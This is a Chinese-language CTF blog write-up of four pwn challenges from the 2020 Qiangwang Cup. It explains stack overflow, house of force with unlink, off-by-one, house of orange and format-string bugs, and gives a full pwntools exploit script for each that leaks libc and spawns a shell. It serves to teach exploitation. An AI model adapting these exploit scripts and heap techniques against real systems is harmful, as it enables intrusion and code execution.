风之栖息地

2020强网杯 强网先锋のpwn

字数统计: 3.4k阅读时长: 14 min
2020/09/15 Share

受到摸鱼和各种项目压力之后,终于发出来了,这次是强网杯中强网先锋的4道pwn题,剩下的pwn题还在陆续复现ing,在做了在做了ing

babymessage

一道神奇的栈溢出题目,有三个功能,写name,写message,输出buf,其中message的数据会被strcopy到buf上。这里的溢出点是在写message的功能上,一开始只能够溢出16字节,覆盖掉栈变量+rbp的值。这里如果只是看反编译的代码是看不出问题的,一定要观察汇编代码,这也是我经常失误的地方不太爱看汇编,555555。

这里的写message的函数里带着一个局部变量size,而这个变量因为是局部变量,它是受到rbp的值影响的。

所以我们的溢出点控制住了rbp,就能够控制这个size局部变量的值,那么我们的输入大小就会增大,可以在栈上布置rop chain。那么这里有哪些合适的地方呢?因为这个程序没有开启aslr,所以我们可以找bss段上的数据,也就是name或者buf,而这里刚好有功能可以写到这两个地方,那么思路就有了。

通过相关功能向name或者buf写入一个足够大的数,然后通过溢出修改rbp的值,让rbp-0x4其指向我们修改的地方,这样size就被我们控制住了,随后按照一般的ROP操作泄露libc,返回溢出点再次溢出getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context(log_level='debug')
io = process('./babymessage')
elf = ELF('./babymessage')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def l_name(name):
io.recvuntil('choice: \n')
io.sendline('1')
io.recvuntil('name: \n')
io.send(name)


def l_mess(message):
io.recvuntil('choice: \n')
io.sendline('2')
io.recvuntil('message: \n')
io.send(message)


def show():
io.recvuntil('choice: \n')
io.sendline('3')


name = 0x6010D0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400ac3
message = 0x400995
pause()
l_name(p32(0x1000))
l_mess('a' * 8 + p64(name + 4))
pause()
l_mess('a' * 8 + p64(name + 4) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(message))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_addr = puts_addr - libc.sym['puts']
info('libc address: ' + hex(libc_addr))
pause()

system_addr = libc_addr + libc.sym['system']
bin_sh = libc_addr + libc.search('/bin/sh').next()
pause()
io.sendafter('message:', 'a' * 8 + p64(name + 4) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr))
io.interactive()

babynote

这道题的漏洞点在于使用了字符串复制函数strcpy,但是name数组并没有在末尾添加\x00,虽然在一开始对相应区域初始化为0,但是我们如果把name全部填满,那么在字符串复制的时候会认为name与之后的age为同一部分,最终会把后面的age部分一同复制,这样针对dest的复制会溢出。

这里针对dest的溢出最多能溢出8个字节,而这里的dest正好size为0x18,这就意味着它占用了下一个chunk的prev_size区域,这溢出的8个字节能够刚好覆盖下一个chunk的size区域。

我们能控制下一块chunk的size,碰巧的是这下一块chunk刚好是top chunk,同时也能分配小于0x100的chunk,这刚好满足house of force的攻击要求,缺点是向高地址移动距离有限,更多的只能让top chunk向低地址移动。

首先,我们布置三个0x100的堆块等待之后能任意分配chunk时构造unlink,随后利用程序提供的重置功能,触发上面的字符串复制的漏洞覆盖top chunk的size区域为-1,换算成补码也就是0xffffffffffffffff。在分配chunk的时候size会被当做无符号数,所以-1会变成最大值。想要控制三块0x100中间的chunk,需要调试计算其中的差值,而这个差值还需要再减0x10,为什么要减0x10,也是因为我们请求的大小会被转换成请求chunk的大小,有一个chunk head的部分需要0x10字节。

这里我们的top chunk起始地址为0x1d0f590,我们的目标是控制第二个chunk也就是0x1d0f240,为了控制这个chunk就需要能改变chunk头部,所以我们分配chunk到0x1d0f230,刚好就能写到头部,改变prev_size和size。中间差了0x360再加上0x10一共0x370。通过分配调整top chunk位置之后,我们只需要再次分配0x20大小的chunk就能控制头部。这里申请0x10和0x20都是一个效果,申请0x10会得到0x20的chunk,申请0x20会得到0x30的chunk。

在能够控制头部之后,伪造prev_size和size,让堆管理认为前面的chunk已经释放,删除中间的块触发unlink前面的chunk,在删除之前需要在前面的chunk中布置需要改变的地址-0x18和地址-0x10,最后造成的效果是目标地址的值变成地址的值-0x18。有了这个我们能改变指针的值,让它指向地址前面,配合程序的修改功能我们能泄露写进的got函数地址,同时能把它修改成其他函数,比如system。这里就是先泄露free函数,获得libc基地址,再写入system地址。最后构造一个chunk,里面的内容为/bin/sh\x00,将其释放即可获得shell。

这里其实也可以不用unlink攻击,可以使用fastbin attack,我们已经能分配到低地址的chunk,那么也能够修改释放进fastbin的chunk,让其指向free_hook或者malloc_hook的低地址处,分配拿到chunk后直接修改为one_gadget。

off by one

这是另外一种思路,同样利用strcpy溢出chunk的size区域,不过这里只溢出一个字节,首先申请一个0x18字节的note,再释放它使其进入fastbin中,这样之后修改name时申请的0x18字节会在fastbin中取到这个chunk,达到我们想要溢出的地点。控制chunk的大小为small bin范围,随后释放这个chunk,让它进入unsorted bin中,再次分配原来大小的chunk,在fastbin中没有合适的chunk时会切分unsorted bin中的chunk,切分之后剩下的部分依旧在unsorted bin里面,它的指针会被写进之前chunk的下一块chunk中,这样利用输出功能就能泄露出libc相关地址,得到libc基地址。

在泄露完成之后,再次分配下一个chunk同样大小的chunk,我们就拿到了两个指向同一chunk的指针,通过这个可以开始uaf攻击,释放其中一个指针,让这个chunk进入fastbin中,再通过另外一个指针修改fastbin指针,指向malloc_hook的低地址处,随后就是分配两次0x70的chunk,第二次就能拿到我们想要的chunk,写入one_gadget覆盖malloc_hook的位置,完成getshell。

exp

这里给的是house of force方法的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#coding:utf8
from pwn import *

sh = process('./babynotes')
#sh = remote('123.56.170.202',43121)
context.log_level = 'debug'
elf = ELF('./babynotes')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
free_got = elf.got['free']

sh.sendafter('Input your name:','haivk')
sh.sendafter('Input your motto:','pwnit')
sh.sendlineafter('Input your age:','1')

def add(index,size):
sh.sendlineafter('>>','1')
sh.sendlineafter('Input index:',str(index))
sh.sendlineafter('Input note size:',str(size))

def show(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Input index:',str(index))

def delete(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Input index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Input index:',str(index))
sh.sendafter('Input your note:',content)

def reset():
sh.sendlineafter('>>','5')



add(0,0x100)
add(1,0x100)
add(2,0x100)
pause()
reset()
sh.sendafter('Input your name:','haivk'.ljust(0x18,'a'))
sh.sendafter('Input your motto:','pwnit')
sh.sendlineafter('Input your age:','-1')
pause()
add(4,-0x370)
add(3,0x20) # get chunk1 head
#top chunk上移
edit(3,p64(0x100) + p64(0x110))
heap0_ptr_addr = 0x6020E0
edit(0,p64(0) + p64(0x101) + p64(heap0_ptr_addr - 0x18) + p64(heap0_ptr_addr - 0x10))
#unlink
delete(1)
edit(0,p64(0)*3 + p64(free_got))
show(0)
sh.recvuntil('Note 0: ')
free_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
edit(0,p64(system_addr))
edit(2,'/bin/sh\x00')
#getshell
delete(2)

sh.interactive()

Siri

一个典型的格式化字符串漏洞,出现在0x1212函数中。

输入Hey Siri!启动siri之后,我们输入开头带有remind me to的字符串,就能进入漏洞点。我们在remind me to之后的输入内容会被带入新的字符串中,printf触发这个格式化字符串的漏洞。

首先利用漏洞泄露数据,包括栈地址和libc地址,构造格式化字符串%83$p%44$p可以获取到libc相关的地址和栈地址。剩下就是通过格式化字符串构造任意写,向一些地址写one_gadget。

构造任意写的方法就是在栈上布置一些需要写的地址,然后通过%yyc%xx$hhn的方法向栈上那个偏移量的地址写值。其中有些地方需要对齐,所以在某地位置要填充数据保证对齐。有了任意地址写,我们的方法就有很多了。

改写hook

改写malloc_hook,写其中写入one_gadget,然后输入大量的字符串,这样就会触发malloc,拿到shell。

改写返回地址

改写main函数的返回地址,但是没有办法直接返回到main函数,所以再最后一次改写子函数的返回地址,让它的返回地址指向leave ret,这样就会进行栈迁移,使得SP指向main函数的返回地址,也就是one_gadget处。

exp

注意一点,给的libc和ubuntu自带的libc有一些不同,所以在打远程的时候要用它给的libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

e = ELF("./Siri")
libc = ELF("./libc.so.6")

if args.I:
context.log_level = 'debug'
if args.R:
p = remote('123.56.170.202', 12124)
else:
p = process("./Siri")

p.sendafter(">>> ", "Hey Siri!")
p.sendafter(">>> ", "Remind me to %{}$p".format(0x4d+6))
p.recvuntil("OK, I'll remind you to ")
base = int(p.recvline().strip(), 16) - libc.symbols['__libc_start_main'] - 231

one_gadget = base + 0x4f365

p.sendafter(">>> ", "Hey Siri!")
p.sendafter(">>> ", "Remind me to %46$p")
p.recvuntil("OK, I'll remind you to ")
stack = int(p.recvline().strip(), 16)

def write(addr, val):
p.sendafter(">>> ", "Hey Siri!")
payload = b"Remind me to "
num = val + 256 - 28
payload += '%{}cA'.format(num).encode() # 6
payload += b'%15$hhn'
payload += p64(addr)
pause()
p.sendlineafter(">>> ", payload)
p.recvuntil("OK, I'll remind you to ")

for i in range(6):
num = (one_gadget >> (i*8)) & 0xff
write(stack+8+i, num)
pause()
leave_ret = 0xC1
write(stack-280, leave_ret)

print(hex(base))
print(hex(one_gadget))

p.interactive()

just a galgame

不得不说,这道题的场景出的特别有意思,很多地方的限制还原了真实的galgame(>_<死宅真恶心~)。

简单说一下功能,送礼物能malloc(0x68),最多能分配7次,去看电影能做一个堆溢出修改,刚开始只有一次,但是在执行完表白之后能在获得一次修改机会,表白是申请一个0x1000长度的chunk,查看CG能输出指针内容的信息,最后是退出功能,也能写一个bss段上数据。

这道题最明显的特征就是没有free的功能,可以联想到house of orange,这种利用技巧能在没有free的情况下把缩小过后的top chunk放进unsorted bin中,这样我们再次分配chunk的时候会从unsorted bin中获取,如果分配之后没有写入啥的,就可以泄露出libc地址。

house of orange

这种利用技巧需要堆溢出能够覆盖到top chunk的size部分,让它缩小,再申请一个比它size更大的chunk,让这个top chunk进入unsorted bin中,随后堆管理器会扩大堆的大小分配一个新的top chunk

在这道题中,我们先申请一个chunk,用做溢出top chunk,随后利用看电影的功能它能溢出到size区域,由于top chunk需要页对齐,所以它的chunk结束处末尾的地址必须为000。由于大chunk的申请大小为0x1000,直接保留最后三位就能满足条件,这里的伪造size为0xd41。最后执行表白功能,申请大chunk,由于top chunk的大小不满足申请大小,也没有其他地方能够满足,最终堆管理器会把top chunk加入unsorted bin中,同时扩大堆的范围获得新的堆空间。

这时,我们再次申请0x68大小的chunk,根据分配规则会从unsorted bin中进行切分,我们拿到的chunk之后调用输出功能,会把chunk中的数据部分打印出来,这里因为分配之后不会对chunk做初始化或者写入数据操作,能够泄露出libc地址。

写one_gadget

这里要用到另外一个漏洞点了,在看电影功能中会有一个在指针函数中选择指针的过程,而这个下标没有被限制,也就是说我们可以越界写数据,前提是越界的地方是有存放数据的。正好,在指针数组的下方就有一个全局的变量,同时也有功能能写入数据,这样写入我们需要的地址,通过越界访问的方式拿到地址,可以向任意地址写入0x10字节的内容。

剩下的就是目标选择,这里没有free,所以选择__malloc_hook,向其中写入one_gadget,再次分配即可触发拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python
# author: hurricane618
from pwn import *

elf = ELF('./Just_a_Galgame')
libc = elf.libc

if args['D']:
context.log_level = 'debug'

if args['R']:
io = remote('')
else:
io = process('./Just_a_Galgame')


def gift():
io.sendlineafter('>> ', '1')


def movie(index, data):
io.sendlineafter('>> ', '2')
io.sendlineafter('idx >> ', str(index))
io.sendafter('movie name >> ', data)


def confess():
io.sendlineafter('>> ', '3')


def collection():
io.sendlineafter('>> ', '4')


def exit(data):
io.sendlineafter('>> ', '5')
io.sendafter('QAQ', data)


gift() # 0

# pause()

movie(0, p64(0) + p64(0xd41))
pause()
confess() # malloc 0x1000
pause()
gift() # 1
collection() # leak libc

leak_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_addr = leak_addr - 0x3ec2a0

info('libc_addr: ' + hex(libc_addr))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
malloc_hook = libc_addr + libc.sym['__malloc_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_addr

exit(p64(malloc_hook - 0x60))
pause()
movie(8, p64(one_gadget))
gift()

io.interactive()
CATALOG
  1. 1. babymessage
    1. 1.1. exp
  2. 2. babynote
    1. 2.1. house of force + unlink/fastbin attack
    2. 2.2. off by one
    3. 2.3. exp
  3. 3. Siri
    1. 3.1. 改写hook
    2. 3.2. 改写返回地址
    3. 3.3. exp
  4. 4. just a galgame
    1. 4.1. house of orange
    2. 4.2. 写one_gadget